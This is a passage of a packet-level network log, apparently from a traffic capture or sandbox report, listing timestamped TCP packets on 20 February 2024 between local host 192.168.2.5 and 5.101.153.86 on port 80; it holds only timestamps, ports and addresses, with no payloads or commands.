Feb 20, 2024 23:46:07.696491003 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696500063 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696525097 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696561098 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696577072 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696578979 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696631908 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.696672916 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696767092 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.696811914 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697211981 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697247028 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697302103 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697472095 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697485924 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697545052 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697562933 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697577000 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697590113 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697633982 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697638035 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697654009 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697668076 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697707891 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697712898 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697722912 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697736025 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697757959 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697762966 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697791100 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697809935 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697812080 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697825909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697839022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697853088 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697882891 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697904110 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697930098 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.697933912 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697969913 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.697987080 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698004961 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698048115 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698060989 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698065042 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698112965 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698113918 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698205948 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698219061 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698239088 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698251963 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698267937 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698271036 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698282957 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698295116 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698301077 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698308945 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698318958 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698323011 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698338032 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698363066 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698398113 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698400974 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698482037 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698482037 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698513985 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698528051 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698551893 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698580027 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698601961 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698606968 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698621988 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698663950 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698685884 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698709965 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698724031 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698729038 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698776960 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698823929 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698831081 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698847055 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698879004 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.698904037 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.698960066 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699014902 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699229956 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699323893 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699373960 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699395895 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699409962 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699424028 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699439049 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699461937 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699465990 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699486017 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699506998 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699549913 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699549913 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699563980 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699594021 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699609041 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699623108 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699647903 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699688911 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699696064 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699709892 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699738026 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699744940 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699759960 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699791908 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699791908 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699826002 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699845076 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699873924 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699894905 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699903011 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.699956894 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699971914 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.699986935 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700011015 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700033903 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700074911 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700108051 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700145006 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700153112 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700159073 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700211048 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700223923 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700237036 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700251102 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700264931 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700284958 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700311899 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700367928 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700433016 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700459957 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700473070 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700475931 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700501919 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700527906 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700541019 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700581074 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700601101 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700614929 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700628996 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700670958 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700700998 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700714111 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700742006 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700752020 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700793028 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700823069 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700880051 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700892925 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700920105 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700922966 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700970888 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700972080 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.700985909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.700999022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701030970 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701031923 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701082945 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701176882 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701210022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701292038 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701294899 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701306105 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701330900 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701370001 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701397896 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701386929 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701426983 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701441050 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701472044 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701497078 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701515913 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701571941 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701586008 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701620102 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701653957 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701726913 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701780081 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701828957 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701844931 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.701848984 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.701921940 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.905607939 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.905750990 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.905812979 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.905942917 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.905972958 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.905987978 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906033039 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906049967 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.906063080 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906079054 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906091928 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.906095982 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906167984 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906198025 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.906229973 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.906388998 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906405926 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906461000 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.906677008 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906850100 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.906900883 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907278061 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907296896 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907315016 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907327890 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907341957 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907352924 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907378912 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907386065 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907401085 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907413006 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907439947 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907459974 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907495022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907510042 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907529116 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907543898 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907563925 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907587051 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907613993 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907627106 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907668114 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907675982 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907751083 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907768965 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907803059 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.907828093 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.907874107 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.908452034 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.908466101 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.908508062 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.908535004 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.908854008 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.908910990 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.908977032 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.908996105 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909130096 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.909573078 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909682035 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909696102 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909709930 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909733057 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909744978 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.909751892 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909765959 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.909813881 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909816027 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.909827948 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909847021 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.909878016 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.909981966 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.910024881 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.910284042 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.910296917 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.910381079 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.910662889 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.910794020 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.910806894 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.910857916 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.910860062 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.910980940 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.910999060 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911012888 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911057949 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.911187887 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911201954 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911215067 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911297083 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.911413908 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911428928 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911443949 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911477089 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.911501884 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.911519051 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911533117 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911586046 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.911607981 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911623001 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911664963 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.911680937 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911731005 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.911978960 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912034035 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.912039042 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912054062 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912091017 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.912405968 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912445068 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912451029 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.912537098 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912555933 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912584066 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.912782907 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912802935 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912831068 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.912858009 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912908077 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912925959 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912939072 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.912942886 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912957907 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.912969112 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.912976980 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913021088 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913042068 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913089037 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913158894 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913173914 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913199902 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913214922 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913249969 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913269997 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913402081 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913415909 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913455009 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913471937 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913476944 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913497925 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913513899 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913520098 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913568974 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913635015 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913650036 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913692951 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913706064 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913718939 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913733959 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913757086 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913764000 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913786888 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913786888 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.913805962 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.913820028 CET	80	49719	5.101.153.86	192.168.2.5
